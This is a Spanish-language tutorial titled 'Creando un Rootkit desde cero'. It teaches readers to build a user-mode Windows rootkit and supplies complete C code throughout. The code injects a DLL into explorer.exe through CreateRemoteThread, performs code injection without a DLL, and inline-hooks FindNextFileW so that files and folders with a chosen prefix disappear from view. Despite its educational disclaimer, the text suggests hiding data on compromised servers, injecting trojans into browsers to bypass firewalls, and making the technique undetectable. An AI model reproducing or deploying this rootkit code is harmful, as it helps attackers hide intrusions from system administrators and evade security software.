Creando un Rootkit desde cero

by EON

0 – ÍNDICE:

1 – INTRODUCCIÓN:

1.1 - Notas del autor:

Este manual tiene fines puramente educativos, el objetivo es conocer bien el funcionamiento de estas herramientas para así poder protegernos de ellas, nunca para usarlas contra otros sistemas. No me hago responsable del uso que se le pueda dar a esta información ;) xD

1.2 – Agradecimientos:

Esta es una sección que no podía faltar en este manual. En primer lugar agradecer a MazarD sus maravillosos manuales sobre inyecciones dll y api hooking, ya que sin ellos este manual habría sido posible así como su ayuda personal sin la que no habría conseguido hookear ni un MessageBox xD. Recomiendo la lectura de los dos manuales, así como la práctica con los ejemplos que vienen, ya que este manual está basado en ellos en gran medida. (Ver despedida)

Y en segundo lugar agradecer las explicaciones de mi amigo Hendrix, ya que fue él quien me ayudó a comprender realmente como funcionaba la inyección de dll's lo que me permitió progresar y comprender bien los conceptos claves sin los cuales podría haber acabado el manual.

1.3 – Conocimientos previos:

Para poder seguir bien el manual hacen falta una serie de conocimientos previos, lo fundamental es saber programar con un nivel medio-alto en C/C++ (manejar bien los punteros es fundamental) y una base de ensamblador, no hace falta tener un nivel altísimo con tener una idea muy mínima del lenguaje y de lo que es un jmp es más que suficiente.

Sobre otros temas como la inyección dll o el api hooking convendría que por lo menos os leyerais los manuales de MazarD y que googleeis un poco, aunque intentaré explicar lo mejor que pueda esos dos conceptos.

1.4 – Objetivos:

Los objetivos de este manual son claros, conseguir crear nuestro propio rootkit. En nuestro caso haremos uno a nivel de usuario, no a nivel kernel ;)
Para ello dividiremos el aprendizaje en tres grandes bloques: Saber que es un rootkit y como funciona, conseguir inyectar nuestra dll y hacer api hooking.

Bueno, y ahora si, sin más preámbulos vamos a lo que nos interesa, saber que es un rootkit, como funciona y como crear el nuestro propio.

2 – ACERCA DE LOS ROOTKITS:

2.1 - ¿Qué es un rootkit?

Bueno yo creo que si estáis leyendo esto es por que sabéis que es un rootkit y os interesa programar uno, pero para los despistados haré unas aclaraciones.

Un rootkit, a grandes rasgos, es una herramienta que permite ocultar al administrador de un sistema información del mismo, ya sean los procesos que están corriendo en su ordenador, conexiones establecidas, archivos… Imaginaos el potencial que tiene una herramienta de este tipo, podemos tomar el control total de un sistema sin que el usuario se entere si quiera. Podemos tener guardados en un servidor (al que hemos accedido mediante técnicas que no se tratarán aquí) 50GB de archivos sin que el administrador se entere. El límite está donde esté el límite de nuestra imaginación.

Para los que quieran más información sobre los rootkits y sus tipos que consulten la wikipedia.

2.2 - ¿Cómo podemos hacer todo esto?

Aquí el manual ya empieza a tomar un poco de seriedad y una vez se exponga la técnica que usaremos entraremos con lo importante, crear nuestro rootkit.

El primer concepto que hay que tener claro es que para poder modificar el comportamiento de un archivo tenemos que estar en su espacio de memoria, para lo que usaremos por comodidad la inyección dll, ya que podríamos hacer una inyección sin dll, pero es mucho más incomodo (tranquilos, cuando llegué el momento pondré un ejemplo de cada y veréis a lo que me refiero).

Una vez nos encontremos en el espacio de memoria del ejecutable objetivo ya podremos modificarlo y el api hooking será nuestra herramienta. Gracias a ella conseguiremos modificar el comportamiento del programa al realizar llamadas a apis. Por poner un ejemplo podemos hacer que el administrador de tareas no muestre los procesos que empiecen por determinada cadena o que el explorar.exe no muestre las carpetas con X nombre.

Si ahora la técnica a seguir no está muy clara, no os preocupéis, seguid leyendo y veréis como todo empieza a encajar.

3 – LA INYECCIÓN DLL:

3.1 – Introducción:

Algunos se preguntarán, ¿para que queremos inyectar una dll? la respuesta es simple. Gracias al api hooking aremos que cada vez que un proceso cualquiera llame a determinada api en realidad llame a una función que nosotros queramos, y para poder hacer esto necesitamos encontrarnos en el espacio de memoria de dicho proceso, por que nosotros no podemos hacer un jmp e irnos al espacio de memoria del svchost por ejemplo xD.

Como reseña final decir que la inyección de dll's da mucho más juego que modificar la memoria de un proceso, como por ejemplo saltarse el firewall (muy útil para troyanos) o hacer un proceso inmortal por poner un par de ejemplos. Esto no se

tratará en este manual, pero una vez hayáis aprendido a inyectar dll's y comprendido bien e mecanismo solo es cuestión de echarle un poco de imaginación ;)

3.2 – Métodos de inyección:

Entre los métodos de inyección podríamos distinguir dos grandes bloques: los que usan dll y los que no. Nosotros por comodidad usaremos una técnica que requiere dll. Esta técnica tiene la gran ventaja de que podemos programar la dll como si se tratase de un ejecutable normal y corriente, mientras que si intentamos inyectar sin dll el código se complicaría bastante. Como desventaja frente al otro método decir que requiere de la dll, pero podéis bindear la dll al ejecutable, aunque eso no entra entre lo que yo quiero enseñaros en este tutorial. Si tenéis curiosidad por como hacerlo en el número tres de la e-zine inSecurity yo mismo publiqué un tutorial para crear joiners en VB6, aunque si solo programáis en C o en cualquier otro lenguaje no os costará mucho adaptarlo.

3.3 – Inyección mediante CreateRemoteThread:

Este es uno de los métodos más simples de inyección dll y de los más documentados por la red, por lo tanto de los más detectados por antivirus y firewalls, pero como este manual es puramente educativo eso no supondrá ningún problema… de todas formas si a alguien esto le supone un problema siempre puede echar un ojo al manual de inyecciones dll de MazarD y esquivar el firewall y el antivirus (o echarle un poco de imaginación y dejar este mismo método indetectable, que no es muy difícil =P)

El objetivo de este método es simple: Crear en un proceso remoto un hilo y que este hilo llame al api LoadLibraryA para cargar nuestra dll. Una vez la cargue saltará automáticamente el DllMain de nuestra dll y ya podemos hacer que ese proceso haga por nosotros lo que queramos.

Para implementar este método necesitamos tener ciertos conocimientos previos sobre algunas apis que ahora mismo os voy a describir.

3.3.1 – Apis necesarias:

Para implementar esta inyección en total usaremos siete apis. A continuación os las describo con detalle, aunque si queréis una información mas detallada (en inglés) podéis obtenerla en La MSDN de Microsoft.

OpenProcess:

```
HANDLE OpenProcess(

    DWORD dwDesiredAccess,   // access flag
    BOOL bInheritHandle,     // handle inheritance flag
    DWORD dwProcessId        // process identifier
);
```

Esta es la documentación que Microsoft nos proporciona sobre este api. Ahora os la detallo un poco:

Valor de retorno: El valor devuelto es el manejador del proceso, explicado de una forma simple es la forma que tendremos en el código para referirnos al proceso. El valor que devuelve lo almacenaremos en una variable del tipo HANDLE.

DWORD dwDesiredAccess: Es el modo de apertura del proceso, en nuestro caso nos daremos todos los privilegios con PROCESS_ALL_ACCESS.

BOOL bInheritHandle: Toma valor true (hereda) o false (no hereda). Nosotros pondremos false.

DWORD dwProcessId: Es el PID del proceso, luego veremos como obtenerlo con el nombre del proceso.

GetModuleHandle:

```
HMODULE GetModuleHandle(

   LPCTSTR lpModuleName      // address of module name to return
handle for
);
```

Valor de retorno: El manejador de la librería elegida que pasaremos al segundo parámetro de GetProcAddress.

LPCTSTR lpModuleName: El nombre de la dll o el ejecutable del que queremos obtener el manejador, en nuestro caso le pasaremos kernel32.dll.

GetProcAddress:

```
FARPROC GetProcAddress(

    HMODULE hModule,    // handle to DLL module
    LPCSTR lpProcName    // name of function
);
```

Valor de retorno: Nos devuelve la dirección de una función dentro de una dll, en nuestro caso la posición de LoadLibraryA dentro de la dll kernel.dll.

HMODULE hModule: El manejador que hemos obtenido de usar GetModuleHandle.

LPCSTR lpProcName: El nombre del api de la cual queremos obtener la direccion, es decir LoadLibreryA

VirtualAllocEx:

Sirve para reservar espacio en la memoria de un proceso.

```
LPVOID VirtualAllocEx(

    HANDLE hProcess,            // process within which to allocate memory
    LPVOID lpAddress,        // desired starting address of allocation
    DWORD dwSize,                    // size, in bytes, of region to allocate
    DWORD flAllocationType, // type of allocation
    DWORD flProtect         // type of access protection
);
```

Valor de retorno: La dirección donde empezaremos a escribir con WriteProcessMemory.

HANDLE hProcess: El manejador del proceso en el cual vamos a escribir. Es el valor que nos devuelve OpenProcess.

LPVOID lpAddress: La dirección donde empezamos a reservar espacio, lo dejaremos en NULL.

DWORD dwSize: El tamaño en bytes de la región que queremos reservar, en nuestro caso será el tamaño de la cadena que contiene la ruta de la dll a inyectar.

DWORD flAllocationType: El motivo por el cual queremos reservar la memoria, en nuestro caso MEM_COMMIT|MEM_RESERVE.

DWORD flProtect: El tipo de protección, en nuestro caso PAGE_READWRITE.

WriteProcessMemory:

Sirve para escribir en la memoria anteriormente reservada.

```
BOOL WriteProcessMemory(

  HANDLE hProcess,      // handle to process whose memory is written to
  LPVOID lpBaseAddress,    // address to start writing to
  LPVOID lpBuffer,          // pointer to buffer to write data to
  DWORD nSize,             // number of bytes to write
  LPDWORD lpNumberOfBytesWritten      // actual number of bytes
                                      //written
);
```

Valor de retorno: Ver LPDWORD lpNumberOfBytesWritten.

HANDLE hProcess: El valor devuelto por OpenProcess.

LPVOID lpBaseAddress: La dirección por donde empezaremos a escribir. Es el valor devuelto por VirtualAllocEx.

LPVOID lpBuffer: Lo que queremos escribir, en nuestro caso la ruta de nuestra dll.

DWORD nSize: El tamaño en bytes de lo que queremos escribir, es decir el tamaño en bytes de la ruta de nuestra dll.

LPDWORD lpNumberOfBytesWritten: Es el numero de bytes que se han escrito correctamente, así como el valor de retorno, nosotros lo dejaremos en NULL ya que no nos interesa.

CreateRemoteThread:

Sirve para crear un hilo en un proceso remotamente.

```
HANDLE CreateRemoteThread(

  HANDLE hProcess,          // handle to process to create thread in
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  DWORD dwStackSize,    // initial thread stack size, in bytes
  LPTHREAD_START_ROUTINE lpStartAddress,  // pointer to thread
function
  LPVOID lpParameter,    // pointer to argument for new thread
  DWORD dwCreationFlags, // creation flags
  LPDWORD lpThreadId          // pointer to returned thread identifier
);
```

Valor de retorno: Ver LPDWORD lpThreadId.

HANDLE hProcess: El valor devuelto por OpenProcess.

LPSECURITY ATTRIBUTES lpThreadAttributes: Sirve para establecer los atributos de seguridad, si lo dejamos en NULL los tomará por defecto, así que lo dejamos en NULL.

DWORD dwStackSize: El tamaño en bytes de la pila del hilo remoto, lo dejaremos en NULL por el mismo motivo que antes.

LPTHREAD_START_ROUTINE lpStartAddress: La dirección de memoria donde se iniciará el hilo, en nuestro caso el valor devuelto por GetProcAddress.

LPVOID lpParameter: Le tenemos que pasar el valor devuelto por VirtualAllocEx.

DWORD dwCreationFlags: El modo de ejecución del hilo remoto. Nosotros pondremos NULL para que se ejecute directamente.

LPDWORD lpThreadId: Es el valor de retorno, es decir, el manejador del hilo. Como a nosotros no nos interesa estableceremos NULL.

CloseHandle:

Sirve para cerrar el handle abierto por OpenProcess.

```
BOOL CloseHandle(

   HANDLE hObject       // handle to object to close
);
```

HANDLE hObject: El handle abierto por OpenProcess.

3.3.2 - Implementando la inyección mediante CreateRemoteThread y creando nuestra dll:

Bueno ahora que ya conocemos todos los apis necesarios al detalle sin más preámbulos aquí os dejo el código para inyectar la dll:

```
#include <windows.h>
#include <Tlhelp32.h>

void main()
{
        HANDLE proceso;
        LPVOID RemoteString;
        LPVOID nLoadLibrary;
        int pid;

        // OBTENEMOS EL PID DEL PROCESO
        // (estas apis no las he esplicado, mirad la msnd si quereis más información)
```

```
	HANDLE handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
	 PROCESSENTRY32 procinfo = { sizeof(PROCESSENTRY32) };
	while(Process32Next(handle, &procinfo))
	{
		 if(!strcmp(procinfo.szExeFile, "explorer.exe"))
		{
			CloseHandle(handle);
			 pid = procinfo.th32ProcessID;
		}
	  }
	 CloseHandle(handle);

	// INYECTAMOS LA DLL
	// (en mi caso se encuentra en H:\Dll.dll, vosotros cambiadlo a vuestro
gusto)

	proceso = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
	nLoadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"),
"LoadLibraryA");
	RemoteString =
(LPVOID)VirtualAllocEx(proceso,NULL,strlen("H:\\Dll.dll"),MEM_COMMIT|MEM_
RESERVE,PAGE_READWRITE);
	WriteProcessMemory(proceso,(LPVOID)RemoteString,"H:\\Dll.dll"
,strlen("H:\\Dll.dll"),NULL);
	CreateRemoteThread(proceso,NULL,NULL,(LPTHREAD_START_ROUTINE)
nLoadLibrary,(LPVOID)RemoteString,NULL,NULL);
	CloseHandle(proceso);
}
```

Pero claro, con este código solo no solucionamos nada, ya que como su nombre indica para poder inyectar una dll necesitamos una dll, así que vamos a crear una. Yo voy a usar como compilador VC++ 6.0 por lo que los pasos que indique serán para ese compilador, si alguien utiliza otro compilador, simplemente que omita el siguiente párrafo y se las apañe para crear la dll.

Lo primero de todo es abrir nuestro compilador “File -> New” y seleccionamos “Win32 Dinamic-Link Library“. Ponemos un nombre al proyecto y una ruta, en mi caso Dll de nombre y H:\ de ruta. Pulsamos Ok y en la siguiente pantalla marcamos “A simple Dll Project”, Finish y de nuevo Ok.

Ahora en el explorador de archivos (a la izquierda de la ventana) seleccionamos el archivo “Dll.cpp” y ya veremos nuestra función DllMain que es la que nos interesa, en ella podemos poner cualquier chorrada, yo por ejemplo e puesto este código:

```
#include "stdafx.h"
#include <windows.h>

BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                                     )
{
        if (ul_reason_for_call == DLL_PROCESS_ATTACH)
        {
                MessageBox (0,"Me han cargado", "", 0);
        }
    return TRUE;
}
```

Ahora si compiláis la dll (en modo release por favor :P) y la colocáis en la ruta que le indicáis al inyector, en mi caso era "H:\Dll.dll" veréis como el explorer.exe ejecuta vuestra dll, en este caso solo estamos mostrando un mensaje emergente (no muy útil por cierto) pero bueno, hemos logrado lo que queríamos: inyectar la dll y hacer que ese proceso ejecute la función que nosotros queremos, ahora ya solo nos quedaría lograr que ese proceso haga lo que nosotros queremos.

Del código anterior solo hay dos cosas dignas de comentar:
1 – Hemos hecho que se ejecute una api simplemente escribiéndola como si se tratase de un ejecutable normal (en el punto siguiente veréis las complicaciones que supone una inyección sin dll).
2 – Hemos usado el parámetro ul_reason_for_call para determinar cuando ejecutar nuestro código, en este caso al cargar la dll, esto lo indicamos con la constante DLL_PROCESS_ATTACH, existen otras tres constantes más que son DLL_THREAD_ATTACH, DLL_THREAD_DETACH y DLL_PROCESS_DETACH, que nosotros no trataremos, pero si alguien quiere más información que busque “DllEntryPoint” en la MSDN.

3.4 Inyección sin dll:

Este no será desde luego el método que yo utilice para crear el rootkit, por lo que la única explicación que daré de mi código es la que podéis ver en los comentarios. Viendo la forma de la que hay que usar las apis en la función inyectada o como hay que pasar los parámetros de las mismas entenderéis por que este método no me parece el más apropiado, aunque convendría que lo supierais usar, ya que para otras cosas puede resultar muy útil…

```
#include <windows.h>
#include <Tlhelp32.h>
#include <stdio.h>

//Creamos un puntero a la api que queremos inyectar
typedef int (WINAPI *datMessageBoxA) (HWND, LPCTSTR, LPCTSTR, UINT);

//La estructura que inyectaremos
struct datos
{
  datMessageBoxA apiMessageBoxA;
  char titulo  [20];
  char mensaje [20];
};


//Declaración de funciones
DWORD GetAdres(char *module, char *function);

//La función que inyectaremos
DWORD inyectada (datos *data)
{
  data -> apiMessageBoxA (0, data->mensaje, data->titulo, 0);
  return 0;
}

//La función iyectora
void inyectora()
{
  int     pid;        // Este es el pid del proceso en el que nos queremos inyectar
```

```
  HANDLE   proc;        // El handle del proceso en el que inyectaremos
  datos    dat;         // El tipo de dato de la estructura
  DWORD    TamFun;      // El tamaño de la función a inyectar
  void*    esp;         // Lugar de memoria donde copiaremos nuestra función

  HANDLE   handle   =   CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
//Obtenemos el pid
  PROCESSENTRY32 procinfo = { sizeof(PROCESSENTRY32) };
  while(Process32Next(handle, &procinfo))
  {
     if(!strcmp(procinfo.szExeFile, "notepad.exe"))
     {
        CloseHandle(handle);
      pid = procinfo.th32ProcessID;
     }
  }
  CloseHandle(handle);

  //Abrimos el proceso en el que nos inyectaremos
  proc = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION
| PROCESS_VM_WRITE, false, pid);

  //Metemos la dirección de la api en la estructura llamndo a la función GetAdres
  dat.apiMessageBoxA    =    (datMessageBoxA)    GetAdres    ("USER32.DLL",
"MessageBoxA");

  //Inicializamos las variables que contendrán el mensaje
  sprintf(dat.mensaje,"holaaaaaa!!!");
  sprintf(dat.titulo,"titulo!!!");


  //Reservamos espacio para nuestra estructura en el proceso a inyectar y la
escribimos
  datos *dat_ = (datos*) VirtualAllocEx(proc, 0, sizeof(datos), MEM_RESERVE |
MEM_COMMIT, PAGE_READWRITE);
  WriteProcessMemory(proc, dat_, &dat, sizeof(datos), NULL);

  //Calculamos el tamaño de la función a inyectar
  TamFun = (long unsigned int) inyectora - (long unsigned int)inyectada;

  //Reservamos espacio para la función, escribimos en él y creamos un hilo
```

```
  esp = VirtualAllocEx(proc, 0, TamFun, MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
  WriteProcessMemory(proc, esp, (void*)inyectada, TamFun, NULL);
  CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE) esp, dat_,
0, NULL);
}

//La función main
void main()
{
  inyectora();
}


//Función que nos devuelve un DWORD con la dirección de una api
DWORD GetAdres(char *module, char *function)
{
  HMODULE dh = LoadLibrary(module);
  DWORD pf = (DWORD)GetProcAddress(dh,function);
  FreeLibrary(dh);
  return pf;
}
```

3.5- Otros usos de la inyección dll:

Bueno, ya a modo de despedida de este segundo gran bloque del manual me gustaría contaros algunas de las aplicaciones que tiene en el mundillo del hacking la inyección dll, más que nada para que no os penséis que todo se resume a mostrar mensajes emergentes xD

Por poner algunos ejemplos podemos inyectar nuestro proceso en el explorer.exe por ejemplo y comprobar si un archivo está ejecución, y de no ser así ejecutarlo, vamos, hacer un proceso (casi) inmortal. Podemos inyectar nuestro troyano casero en el Firefox o el Internet Explorer para así esquivar el firewall y podemos hacer un sin fin más de cosas, el límite solo lo pone la imaginación, pero en nuestro caso haremos api hooking para así modificar el funcionamiento de cualquier programa a nuestro gusto ;)

4 – API HOOKING:

4.1 – Introducción:

Bueno ya tenemos una idea de cómo funciona un rootkit, y conocemos una de las herramientas necesarias para hacerlo funcionar, la inyección dll, ahora nos falta aprender a manejar la segunda herramienta: el Api Hooking. Así que manos a la obra.

4.2 – Funcionamiento del Api Hooking:

Antes de ponernos a programar como locos vamos a intentar comprender un poco en que consiste esto del Api Hooking. El funcionamiento es simple, una vez estemos inyectados en el proceso (gracias a lo antes expuesto ya deberíais saber como hacer esto) haremos dos pequeños retoques en memoria.

El primero es cambiar el comienzo del api por un salto a nuestra función, de esta manera cada vez que el api sea llamada llamarán a nuestra función, pero eso tiene un inconveniente, al encontrarnos nosotros en el mismo espacio de memoria si queremos llamar al api que hemos modificado, para saber lo que devolvería en condiciones normales lo que haremos será llamar a nuestra propia función y el programa fallaría…
Aquí es donde entra en juego nuestro segundo retoque. Creamos un buffer de tamaño X + 5 bytes. En X copiamos los X primeros bytes del api (luego explico cuantos hay que coger) y en los 5 restantes metemos un jmp (1 byte) y la distancia del salto (4 bytes). De esta manera ejecutando el buffer en realidad haríamos una llamada al api original y así podremos modificar los datos que nos devuelva a placer.

Para entendernos dentro del manual, a la función que hace los cambios pertinentes en la memoria y crea el buffer con el que llamaremos al api original la llamaremos “Función hookeadora” a la función que será llamada en vez del api original la llamaremos “Función falsa”.

4.3 – ¿Cuánto vale X?:

Como ya he explicado arriba la función hookeadora tiene que hacer dos cosas. Modificar el api original para que salte a nuestra función ("Función falsa") y crear un buffer de X + 5 bytes para poder llamar al api original. Así que empecemos.

Nuestro rootkit se inyectará en el explorer.exe y se encargará de ocultar todos lo archivos y carpetas que empiecen por el prefijo que nosotros queramos. Para ello hookearemos FindNextFileW.

Lo primero que haremos en la función hookeadora será preparar el buffer para llamar al api original. Como ya dije antes este tiene que ser de tamaño X + 5, pero, ¿cuánto vale X?

Tenemos que tener en cuenta que modificaremos el api original para que llame a nuestra función, para ello cambiaremos sus primeros 5 bytes por un jmp (1 byte) + distancia salto (4 bytes).
Por lo que ya sabemos que X tiene que ser como mínimo 5, ya que X representa los primeros bytes del api. Es mas, en la mayoría de apis X valdrá 5, pero en otras no (aunque el numero de bytes que modifiquemos en el api original sea 5). ¿Cómo sabemos lo que tiene que valer X? Bueno, pues aquí es donde entran en juego vuestros conocimientos básicos sobre ensamblador (muy muy básicos, no os asustéis =P). Lo primero que hacemos es obtener la dirección del api deseada dentro de su dll correspondiente, para ello usaremos un codigo como este:

```
#include <windows.h>
#include <iostream>

void main()
{
	std::cout << GetProcAddress(LoadLibrary("dllApi.dll"),"NombreApi") << '\n';
}
```

Primero lo ejecutaremos para obtener la dirección de MessageBoxA y ver el típico ejemplo de api con el que X vale 5. Abrimos el OllyDgb, le damos a File – Open y abrimos "C:\windows\system32\user32.dll". Nos saldrá un mensaje emergente al

que decimos que si. A continuación hacemos clic derecho Goto – Expresion y ponemos la dirección que nos ha devuelto el programa anterior (7E3D058A). Nos fijamos en lo que nos aparece:

```
7E3D058A >  8BFF          MOV EDI,EDI
7E3D058C  /. 55           PUSH EBP
7E3D058D  |. 8BEC          MOV EBP,ESP
7E3D058F  |. 833D BC043F7E >CMP DWORD PTR DS:[7E3F04BC],0
```

Bien, en la columna central están los opcodes correspondientes a las instrucciones en ensamblador de la derecha. Sabemos que como mínimo tenemos que coger 5 bytes para alojar el salto a "función falsa", así que contamos 5 bytes:

```
8BFF
55
8BEC
```

Creo que sobra decir que dos dígitos en hexadecimal son un byte (es decir 8B es un byte, FF es otro…).
Bien como se puede observar hemos cogido 5 bytes sin partir ninguna instrucción, es decir, no nos hemos quedado en mitad de una línea, por lo que para hookear este api X valdría 5 ;)

Ahora vamos a mirar cuanto vale X para el api que nos interesa, FindNextFileW. Ejecutamos el programa que os he puesto antes para obtener su dirección dentro de kernel32.dll. Abrimos la dll con el Olly y obtenemos esto:

```
7C80EF3A > $ 6A 2C        PUSH 2C
7C80EF3C   . 68 38F0807C  PUSH kernel32.7C80F038
7C80EF41   . E8 8035FFFF  CALL kernel32.7C8024C6
```

Si cogemos solamente 5 bytes nos quedamos en mitad de una línea:

```
6A 2C
68 38F0 ; Aun faltan 2 bytes mas para rellena la línea
```

Como nos faltan dos bytes para rellenar la línea pues cogemos 5 + 2 = 7 bytes, así de simple, por lo que X vale 7 para este api. El mecanismo es siempre el mismo para cualquier api.

4.4 – Función hookeadora:

Bueno, pues ahora si que sí, empezamos a programar por fin lo que seria el rootkit. Creo que sobra decir que todo el código que ponga ahora iría en la dll que inyectaremos, pero por si acaso lo digo xD.

Ahora que ya sabemos cuanto vale X podemos crear la función hookeadora. Lo primero que hacemos es configurar nuestro famoso buffer de tamaño X + 5, que como ya he explicado anteriormente X tiene que ser en este caso los 7 primero bytes del api y en los otros 5 metemos el salto (un byte para el jmp y cuatro para la distancia):

```
// Obtenemos la dirección en memoria de FindNextFileW
DirFN=(BYTE*)GetProcAddress(GetModuleHandle("kernel32.dll"),
"FindNextFileW");

// Reservamos 12 bytes de memoria para nuestro Buffer
BufferFN=(BYTE *) malloc (12);

//Le damos todos los permisos a los 12 bytes de nuestro Buffer
VirtualProtect((void *) BufferFN, 12, PAGE_EXECUTE_READWRITE,
&ProteVieja);

// Copiamos los 7 primeros bytes del api en el buffer
memcpy(BufferFN,DirFN,7);
BufferFN += 7;

// En los 5 bytes restantes...
// En el primero introducimos un jmp
*BufferFN=0xE9; // E9 es el opcode correspondiente a jmp
BufferFN++;

// En los otros 4 la distancia del salto
*((signed int *) BufferFN)= DirFN - BufferFN + 3;
```

Me parece a mi que el código se explica por si mismo, de todas forma si ahora no entendéis algo tranquilos, luego pondré el código completo y ya os quedará más claro, ya que en ese trocito faltan algunas declaraciones ;)

A continuación hacemos un puntero a función, declarado en un trozo de código que aun no he puesto (paciencia, que luego lo pongo todo) apunte al inicio del buffer para hacerlo ejecutable. Hacer un buffer ejecutable en C es bastante más complicado que en asm, así que agradeced a MazarD esta línea de código, que tiene su tela:

```
// Asignamos al puntero a funcion pBuff el inicio del Buffer para poder ejecutar el
// api original
pBuffFN = (HANDLE (__stdcall *)(HANDLE,LPWIN32_FIND_DATAW))
(BufferFN-8);
```

Finalmente cambiamos los 5 primeros bytes del api original para que salte a nuestra función (miFindNextFileW la he llamado) cuando sea llamada:

```
// Le damos todos los permisos a los 5 primeros bytes de la api original
VirtualProtect((void *) DirFN,5,PAGE_EXECUTE_READWRITE,&ProteVieja);

// Cambiamos el tipo a puntero a byte para facilitar el trabajo
DirYoFN=(BYTE *) miFindNextFileW;

// En el inicio de la api metemos un jmp para que salte a miFindNextFileW
*DirFN=0xE9;
DirFN++;
```

4.5 – Función falsa:

Esta es la función que será llamada por el explorer.exe cuando intente listar archivos y carpetas en vez del api original.
Gracias al buffer que hemos creado antes podemos hacer una llamada al api original de esta manera:

```
pBuffFN(hFindFile,lpFindFileData);
```

Así podremos ver que nos devuelve el api original y mostrarlo solo si nos interesa. Para ocultar archivos que empiecen por un prefijo usaremos esta función:

```
// FUNCIÓN QUE LLAMARÁ EL PROGRAMA PRINCIPLA CREYENDO QUE ES EL API FINDNEXTFILEW
HANDLE __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData)
{
	// Ocultamos los archivos que empiecen por el prefijo indicado

	HANDLE hand;
	char ascStr[611];

	do
	{
		hand = pBuffFN(hFindFile,lpFindFileData);
		WideCharToMultiByte(CP_ACP, 0, lpFindFileData->cFileName, -1, ascStr, 611, NULL, NULL);

	}while (strncmp(ascStr,Prefijo,strlen(Prefijo)) == 0 && hand != NULL);

	return hand;
}
```

Lo que hace la función es llamar al api original. Si el archivo que nos devuelve el api original no empieza por el prefijo indicado devolvemos ese valor al programa hookeado.
Si sí empieza por el prefijo volvemos a llamar al api original para que nos diga cual es el siguiente archivo, de esta manera al explorer.exe nunca le llegan los archivos que nosotros queremos ocultar ;)

4.6 – Código completo del rootkit:

Por si acaso a alguno le ha quedado alguna duda con los trozos de código que he puesto antes aquí tenéis el código al completo:

```
#include <windows.h>
#include <iostream>
```

```
// DECLARACIONES:
BYTE *BufferFN;              // Buffer que usaremos para ejecutar el api original FindNextFileW
char Prefijo[] = "miniRoot_";     // El prefijo que buscaremos para ocultar archivos/carpetas


// FUNCIONES:
void    Hookear();  // Función que hookeará el api


// Función que será llamada en vez de FindNextFileW
HANDLE                    __stdcall          miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData);
// Puntero a función con el cual llamaremos al api FindNextFileW original
HANDLE (__stdcall *pBuffFN) (HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData);




// FUNCIÓN MAIN
bool WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
        // Si cargan la DLL hookeamos
        if (fdwReason == DLL_PROCESS_ATTACH)
        {
                Hookear();
        }
        return TRUE;
}



// FUNCIÓN QUE LLAMARÁ EL PROGRAMA PRINCIPLA CREYENDO QUE ES EL API FINDNEXTFILEW
HANDLE                    __stdcall          miFindNextFileW(HANDLE
```

```
hFindFile,LPWIN32_FIND_DATAW lpFindFileData)
{
	// Ocultamos los archivos que empiecen por el prefijo indicado

	HANDLE hand;
	char ascStr[611];

	do
	{
		hand = pBuffFN(hFindFile,lpFindFileData);
		WideCharToMultiByte(CP_ACP, 0, lpFindFileData->cFileName, -1,
ascStr, 611, NULL, NULL);

	}while (strncmp(ascStr,Prefijo,strlen(Prefijo)) == 0 && hand != NULL);

	return hand;
}


// FUNCIÓN PARA HOOKEAR FINDNEXTFILEW Y FINDFIRSTFILEW
void Hookear()
{
	DWORD ProteVieja;  // Parametro para VirtualProtect

	BYTE  *DirFN;	// La dirección en memoria de FindNextFileW
	BYTE  *DirYoFN;	// La dirección en memoria de la función que replaza a
FindNextFileW



	// --> HOOKEAMOS FINDNEXTFILEW (7 bytes)


	// Obtenemos la dirección en memoria de FindNextFileW
	DirFN=(BYTE	*)	GetProcAddress(GetModuleHandle("kernel32.dll"),
"FindNextFileW");

	// Reservamos 12 bytes de memoria para nuestro Buffer
	BufferFN=(BYTE *) malloc (12);

	//Le damos todos los permisos a los 12 bytes de nuestro Buffer
```

```
	VirtualProtect((void *) BufferFN, 12, PAGE_EXECUTE_READWRITE, &ProteVieja);

	// Copiamos los 7 primeros bytes del api en el buffer
	memcpy(BufferFN,DirFN,7);
	BufferFN += 7;

	// En los 5 bytes restantes...
	// En el primero introducimos un jmp
	*BufferFN=0xE9;
	BufferFN++;

	// En los otros 4 la distancia del salto
	*((signed int *) BufferFN)= DirFN - BufferFN + 3;

	// Asignamos al puntero a funcion pBuff el inicio del Buffer para poder ejecutar el api original
	pBuffFN = (HANDLE (__stdcall *)(HANDLE,LPWIN32_FIND_DATAW)) (BufferFN-8);



	// Le damos todos los permisos a los 5 primeros bytes de la api original
	VirtualProtect((void *) DirFN,5,PAGE_EXECUTE_READWRITE,&ProteVieja);

	// Cambiamos el tipo a puntero a byte para facilitar el trabajo
	DirYoFN=(BYTE *) miFindNextFileW;

	// En el inicio de la api metemos un jmp para que salte a miFindNextFileW
	*DirFN=0xE9;
	DirFN++;

	// Metemos la distancia del salto
	*((signed int *) DirFN)=DirYoFN - DirFN - 4;



	// Libermos librerias de cache
	FlushInstructionCache(GetCurrentProcess(),NULL,NULL);
}
```

5 – Despedida:

Bueno, pues aquí se termina nuestro camino juntos en el mundo de los rootkits, espero que a partir de aquí podáis seguir solos, ya que para mi este manual tenía dos objetivos, el primero explicar lo que es un rootkit de tal manera que quedara muy claro el concepto para que a partir de aquí podías seguir solo he innovar; el segundo era aumentar un poco la documentación sobre estos temas que, en español, es bastante escasa.

Por último agradecer el trabajo de MazarD, ya que este manual es una adaptación de los suyos explicando mejor los conceptos que a mi más me costó entender y proporcionando un código funcional que haga algo más divertido que hookear un MessageBox xD.
Estos manuales los podéis encontrar en su web (http://mzrd.martes13.net/) y tampoco estaría de más que os mirarais esto:
http://www.codeproject.com/KB/system/hooksys.aspx#__top

1S4ludo